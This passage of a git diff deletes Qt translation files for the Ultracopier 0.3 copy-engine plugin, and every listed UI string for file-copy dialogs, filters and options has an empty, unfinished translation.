- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/id/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/id/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/id/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
